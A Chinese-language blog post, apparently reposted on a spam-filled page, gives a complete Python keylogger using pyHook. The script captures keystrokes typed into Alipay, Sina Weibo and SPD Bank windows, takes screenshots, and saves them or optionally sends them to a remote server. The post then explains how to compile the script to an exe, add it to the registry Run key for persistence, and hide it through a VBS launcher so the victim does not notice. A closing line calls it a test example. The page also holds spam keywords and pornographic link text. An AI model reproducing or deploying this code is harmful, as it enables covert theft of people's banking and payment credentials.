亚洲免费在线-亚洲免费在线播放-亚洲免费在线观看-亚洲免费在线观看视频-亚洲免费在线看-亚洲免费在线视频

Python利用pyHook實現監聽用戶鼠標與鍵盤事件

系統 1552 0

本文以一段簡單的監聽鼠標、鍵盤事件的程序,實現獲取用戶的輸入(比如登錄某些網站的賬號、密碼)的功能。經測試,對于一臺“裸奔”的電腦,完全能獲取到用戶輸入的任何信息;但是如果安裝了殺毒軟件,就夠嗆了。具體實現方法如下:

一、代碼部分 :獲取用戶輸入信息,并與截圖一起保存到XX目錄下

            
# -*- coding: utf-8 -*- # 

import pythoncom 
import pyHook  
import time
import socket
from PIL import ImageGrab

#
#如果是遠程監聽某個目標電腦,可以自己架設一個服務器,然后將獲取到的信息發回給服務器
#
def send_msg_to_server(msg):
  host=""
  port=1234
  buf_size=1024
  addr=(host,port)
  if len(msg)>0:
    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcp_client_sock.connect(addr)
    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
    tcp_client_sock.sendall(info+msg)
    tcp_client_sock.close()
    
#
#也可以將獲取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):  
  f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
  f.write(msg+'\r\n')
  f.close()

def onMouseEvent(event): 
  # 監聽鼠標事件   
  global MSG
  if len(MSG)!=0:    
    #send_msg_to_server(MSG)
    write_msg_to_txt(MSG)
    MSG=''
    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #將用戶屏幕截圖,保存到本地某個目錄下(也可以搞成遠程發送到自己的服務器)
    pic = ImageGrab.grab()
    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
  return True
 
def onKeyboardEvent(event):
  #監聽鍵盤事件
  global MSG
  title= event.WindowName.decode('GBK')
  #通過網站title,判斷當前網站是否是“監聽目標”
  if title.find(u"支付寶") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦發銀行')!=-1:
    #Ascii: 8-Backspace , 9-Tab ,13-Enter 
    if (127 >= event.Ascii > 31) or (event.Ascii == 8):
      MSG += chr(event.Ascii)        
    if (event.Ascii == 9) or (event.Ascii == 13):      
      #send_msg_to_remote(MSG)
      write_msg_to_txt(MSG)
      MSG = '' 
      #屏幕抓圖實現
      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
      pic = ImageGrab.grab()
      #保存成為以日期命名的圖片
      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
  return True 
 
if __name__ == "__main__":   
  MSG = ''  
  #創建hook句柄
  hm = pyHook.HookManager()

  #監控鼠標
  hm.SubscribeMouseLeftDown(onMouseEvent)
  hm.HookMouse()

  #監控鍵盤
  hm.KeyDown = onKeyboardEvent
  hm.HookKeyboard()

  #循環獲取消息
  pythoncom.PumpMessages() 


          

二、用py2exe將腳本打包:

新建一個py文件setup.py,內容如下:

            
from distutils.core import setup
import py2exe
setup(console=["monitor.py"])
#setup(windows=["monitor.py"])

          

命令行執行以下命令:

            
pythonsetup.pypy2exe

          

三、將該程序設置為開機自動啟動:

步驟①:

將需要開機啟動的文件(創建一個快捷方式,然后)放到“開始/所有程序/啟動”目錄下

步驟②:

修改注冊表:命令行― regedit ,然后到以下路徑下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]??

新建一個“字符串值”,然后編輯:設置exe文件所在路徑
D:\workspace\mytest\pyhook\dist\monitor.exe

(以上兩種方式啟動monitor.exe的話,會彈出一個命令框,顯示監聽日志信息,這樣的話,被監聽的人一下就能發現了,可以試試下面這個方式)

步驟③:

新建一個 .vbs文件,內容如下:

            
setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0

          

雙擊運行該vbs文件,則monitor.exe就在后臺啟動了(不會彈出一個大黑框)。
然后參考法①、② 把該vbs設置成開機啟動即可。

補充:

1、該程序涉及到一些模塊都需要自己安裝一下;
2、文章中凡是“D:\workspace....”這樣的路徑都需要改成自己的真實路徑;
3、本代碼僅為測試示例,讀者不要將其用于非法用途。

感興趣的讀者可以對本文實例加以改進,使之功能更加完善。


更多文章、技術交流、商務合作、聯系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號聯系: 360901061

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對您有幫助就好】

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長會非常 感謝您的哦!!!

發表我的評論
最新評論 總共0條評論
主站蜘蛛池模板: 亚洲视频在线视频 | 久久99久久精品97久久综合 | 久久99精品国产免费观看 | 妇女毛片 | 亚洲国产成人在线 | 国产精品欧美韩国日本久久 | 欧美精品a毛片免费观看 | 一级片在线免费看 | 中文字幕视频免费 | 久久er国产精品免费观看2 | 在线播放免费一级毛片欧美 | 久久好色 | 九九久久亚洲综合久久久 | 亚洲国产第一 | 国产成人精品久久一区二区三区 | 奇米影视8888 | 成人爱爱爱欧美日本视频 | 九九热亚洲精品综合视频 | 国产极品白嫩美女在线观看看 | 久久精品网址 | 国产精品久久久久久久伊一 | 男人的天堂一区二区视频在线观看 | 亚洲大片在线观看 | 国产精品免费观看 | 色婷婷综合久久久 | 中文字幕一区二区三区 精品 | 国产高清狼人香蕉在线观看 | 97色97色97色成人 | 91成人爽a毛片一区二区 | 天天想夜夜操 | 一本大道香蕉中文在线高清 | 性欧美网站| 国产精品88| 欧美猛交xxxxx | 一级毛片毛片毛片毛毛片 | 99精品在线播放 | 国内久久久久影院精品 | 美女视频黄a视频免费全过程在线 | 国产毛片一区二区三区精品 | 日韩欧美一卡二区 | 婷婷激情综合 |